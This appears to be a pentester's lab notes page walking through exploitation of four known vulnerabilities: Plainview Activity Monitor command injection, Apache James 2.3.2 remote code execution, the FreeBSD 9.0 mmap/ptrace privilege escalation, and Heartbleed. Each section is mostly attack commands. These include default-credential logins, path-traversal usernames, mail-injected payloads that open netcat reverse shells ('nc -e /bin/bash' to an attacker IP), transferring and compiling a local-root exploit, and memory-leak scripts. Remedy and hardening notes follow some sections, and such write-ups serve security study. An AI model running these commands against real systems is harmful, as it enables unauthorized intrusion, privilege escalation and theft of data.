WordPress Plugin: Plainview Activity Monitor – (Authenticated) Command Injection – CVE-2018-15877

Plainview Activity Monitor plugin for WordPress could allow a remote authenticated attacker to execute arbitrary commands on the system. By sending a specially-crafted request, an attacker could exploit this vulnerability using shell metacharacters in the ip parameter to inject and execute arbitrary OS commands on the system.

The Plainview Activity Monitor plugin before 2018/08/26 for WordPress is vulnerable to OS command injection via shell metacharacters in the ip parameter of a wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools request.

More details

https://nvd.nist.gov/vuln/detail/CVE-2018-15877

https://exchange.xforce.ibmcloud.com/vulnerabilities/148904

https://packetstormsecurity.com/files/155502/WordPress-Plainview-Activity-Monitor-20161228-Remote-Command-Execution.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15877

https://www.exploit-db.com/exploits/45274

Exploit

1. This is an authenticated exploit, so, we need to have WordPress username & password. I brute forced, and got my way into.

  • http://wordy/wp-login.php
  • mark / helpdesk01

2. Within the menu go to

  • Activity monitor - tools
  • /wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools

3. Now fill the IP box and click on Lookup, capture this request using a web proxy. I’ll be using BurpSuite

4. Now we need to inject a Linux command within that “ip” parameter, we can use “|;&” since, these metacharacters have a meaning to the OS

5. Before we forward the crafted request, start a listener on the offensive machine

  • nc -lvp 9999

6. After forwarding the request, we immediately get a reverse connection in our machine from the remote WordPress server

  • whoami

Remedy

Upgrade to the latest version of Plainview Activity Monitor plugin (20180826 or later), available from the WordPress Plugins Directory.

 

Apache James Server 2.3.2 – CVE-2015-7611

Apache James is a mail and news server and software framework written in Java. A bug in version 2.3.2 enables an attacker to execute arbitrary commands on the machine running the server.

The vulnerability arises from an insecure default configuration and a lack of input validation in the server's user creation mechanism; it allows an attacker to inject commands to execute when a user signs into the machine. Despite the vulnerability, a number of techniques can be employed to reduce the machine's attack surface and mitigate the risk of a compromise.

https://exchange.xforce.ibmcloud.com/vulnerabilities/99535

https://www.exploit-db.com/exploits/35513

https://seclists.org/bugtraq/2015/Sep/142

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7611

https://www.cvedetails.com/cve/CVE-2015-7611/

https://www.rapid7.com/db/modules/exploit/linux/smtp/apache_james_exec/

Exploitation

1. Scan to verify the version of the services running

  • nmap -p- -A -sV -sC 192.168.0.10

2. Log in using defaults

By default, the Apache James administrator has the same username and password, "root." Using these credentials gives us access to the administration console, where we can create new users with the "adduser" command.

  • telnet 192.168.0.10 4555
  • root/root

3. Create an Exploitable User

The format of the command is "adduser <username> <password>," where "<username>" represents the username to be created, and "<password>" represents the user's password. To gain the ability to put files in "/etc/bash_completion.d," we create a mail user with the username "../../../../../../../../etc/bash_completion.d" with the command:

  • listusers
  • adduser ../../../../../../../../etc/bash_completion.d password
  • listusers

Note:

Bash completion is a functionality through which bash helps users type their commands faster and easier. It accomplishes that by presenting possible options when users press the tab key while typing a command.

The completion script is code that uses the builtin bash command complete to define which completion suggestions can be displayed for a given executable. The nature of the completion options vary from simple static to highly sophisticated.

4. Being there as root admin, we can also, restart users mail passwords

  • listusers
  • setpassword mindy vpassword

5. Having access to the users’ mail, we can further exploit this vulnerability. First of all, let’s try to read the users emails, lets connect to POP3 (110)

  • telnet 192.168.0.10 110
  • USER mindy
  • PASS vpassword
  • LIST
  • RETR 2

6. Now, we will send a special email message, from our compromised email address, to the newly created account, that will execute once, the user logs in. This is done via SMTP (25)

  • telnet 192.168.0.25
  • HELO mindy
  • MAIL FROM: <’mindy@localhost>
  • RCPT TO: <../../../../../../../../etc/bash_completion.d>
  • DATA
  • From: mindy@localhost
  • hostname | nc 192.168.0.13 3333
  • .

7. Now at the attacking machine start a netcat listener, once, the user logs in we can see the remote command displayed in the local machine

  • nc -lvp 3333 -o out

8. Now that we ran the remote command we can try to inject a bash reverse shell. So, when the user logs in, we receive a direct connection

  • telnet 192.168.0.25
  • HELO mindy
  • MAIL FROM: <’mindy@localhost>
  • RCPT TO: <../../../../../../../../etc/bash_completion.d>
  • DATA
  • From: mindy@localhost
  • nc -e /bin/bash 192.168.0.13 6666
  • .
  • quit

8. Start a netcat listener on our machine, and wait for the user to log in

  • nc -lvp 6666

Alternative Exploitation

1. We have an automated method of exploiting this using a python script (https://www.exploit-db.com/exploits/35513)

  • searchsploit james 2.3.2
  • searchsploit -m linux/remote/35513.py

2. Now edit the file, and, add the command you want to run. In this case, I’d update the payload to run a netcat reverse connection

  • vi 35513.py
  • payload = 'nc -e /bin/bash 192.168.0.13 7777'

3. Run a netcat listener

  • nc -lvp 7777

4. Run the python script

  • python 35513.py 192.168.0.10

5. Wait for someone to log in

Remedy

Upgrade to the latest version of James Server (2.3.2.1 or later)

Recommendations

Change the Root Password

The root password can be set through the administration console. Changing the password makes an attack more time-consuming by increasing the effort required to gain access.

  • telnet 192.168.0.10 4555
  • root/root
  • setpassword root <newpassword>

Restrict Access to the Administration Console

To limit the attack surface, the administration console should only be accessible from the local machine or from a whitelist of IP ranges, such as those on an internal network. These restrictions are effective because they require the attacker to devise an alternate means of accessing the machine.

Uninstall Bash-Completion

The vulnerability cannot be exploited as described without the presence of Bash-completion on the mail server machine. Though there are other executable paths on the system, e.g. "/etc/rc.d," removing Bash-completion decreases an attacker's options and increases the effort required to exploit the machine

Run the Server as an Unprivileged User

Running the server as an unprivileged user is the most effective of the techniques described here. The default configuration lends the server to run as the root user due to the need to bind to port 25, a privileged port. Choosing a port above 1023 removes this restriction and allows us to run the server as an unprivileged user and on an unprivileged port. To continue serving SMTP requests on port 25, the firewall can forward requests to the new, unprivileged port. In this mode, the server is limited in its use of system resources. An attacker trying to create an exploitable user will fail because the server can no longer alter the contents of "/etc/bash_completion.d."

Sources

https://crimsonglow.ca/~kjiwa/2016/06/exploiting-apache-james-2.3.2.html

 

FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation

FreeBSD could allow a local attacker to gain elevated privileges on the system, caused by insufficient permission checks within the virtual memory system. An attacker could exploit this vulnerability using specific memory mapping and tracing operations to modify portions of the traced process's address space.

The vm_map_lookup function in sys/vm/vm_map.c in the mmap implementation in the kernel in FreeBSD 9.0 through 9.1-RELEASE-p4 does not properly determine whether a task should have write access to a memory location, which allows local users to bypass filesystem write permissions and consequently gain privileges via a crafted application that leverages read permissions, and makes mmap and ptrace system calls.

https://nvd.nist.gov/vuln/detail/CVE-2013-2171

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2171

https://exchange.xforce.ibmcloud.com/vulnerabilities/85089

How to exploit

1. Find out the version of the server, in this case I found a file named, COPYRIGHT in /, which included the OS version

  • uname -a
  • cat COPYRIGHT

2. I searched for “freebsd 9.0” in exploit-db.com, and I found an exploit that actually works on my scenario.

3. I then downloaded it from searchsploit, which contains the same code

  • searchsploit freebsd 9.0
  • searchsploit -m freebsd/local/26368.c
  • ls -l

4. On the locat machine (Kali), I will start a bind shell

  • nc -lvp 4455 < 26368.c

5. From the remote victim (Server), we will now download the file

  • nc 192.168.0.18 4455 > exploit.c
  • ls
  • cat exploit.c

Note: To transfer the files you can use wget, curl from HTTP server, scp, etc, or your preferred method

6. We need to make sure gcc is install in the server for compilation porpuses, it can also be compiled in the local Kali machine

  • whereis gcc

7. Compile the exploit

  • gcc exploit.c -o exploit

8. check permissions, make sure it is executable, then check current user

  • ls -l
  • whoami

9. Execute the script, and, check again the current user

  • ./exploit
  • whoami

Remedy

Refer to FreeBSD-SA-13:06.mmap for patch, upgrade or suggested workaround information.

https://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc

 

ssl-heartbleed – CVE-2014-0160

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug.

OpenSSL 1.0.1f, 1.0.1e, 1.0.1d, 1.0.1c, 1.0.1b, 1.0.1a, and 1.0.1 are vulnerable.

https://www.securityfocus.com/bid/66690/solution

https://nvd.nist.gov/vuln/detail/CVE-2014-0160

https://xkcd.com/1354/

https://imgs.xkcd.com/comics/heartbleed_explanation.png

Exploitation

1. Scan for the vulnerability

  • nmap --script ssl-heartbleed 10.10.10.79

In this case Nmap shows it is vulnerable

  • sslyze --heartbleed 10.10.10.79

Sslyze shows it is not vulnerable somehow, this could be an additional test

Running scan with metasploit

  • msfconsole
  • search heartbleed
  • use auxiliary/scanner/ssl/openssl_heartbleed

  • show options
  • set RHOSTS 10.10.10.79
  • exploit

As it shows vulnerable to ssl-heartbleed we run a python script against it

2. Download the exploit https://gist.github.com/eelsivart/10174134

  • wget https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py
  • ls

3. Running heartbleed.py

  • python heartbleed.py

  • python heartbleed 10.10.10.79 -n 100

The memory is leaked, we can see there an interesting base64 sting. This like that can come across.

This value can be changed to inspect lager/shorter pieces of memory

  • vi heartbleed.py

Solution

Updates are available. Please see the references or vendor advisory for more information.